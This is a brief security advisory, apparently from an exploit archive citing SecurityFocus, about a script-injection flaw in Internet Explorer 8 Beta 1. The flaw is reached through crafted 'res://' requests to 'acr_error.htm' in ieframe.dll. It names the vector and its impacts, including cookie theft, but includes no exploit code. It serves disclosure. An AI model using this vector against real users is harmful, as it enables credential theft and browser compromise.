Microsoft Internet Explorer 8 Beta 1 - 'ieframe.dll' Script Injection Vulnerability

                                                source: http://www.securityfocus.com/bid/28581/info

Microsoft Internet Explorer is prone to a script-injection vulnerability when handling specially crafted requests to 'acr_error.htm' via the 'res://' protocol. The file resides in the 'ieframe.dll' dynamic-link library.

An attacker may leverage this issue to execute arbitrary code in the context of a user's browser. Successful exploits can allow the attacker to steal cookie-based authentication credentials, obtain potentially sensitive information stored on the victim's computer, and launch other attacks.

Internet Explorer 8 is vulnerable. Internet Explorer 7 is likely vulnerable as well, but this has not been confirmed.
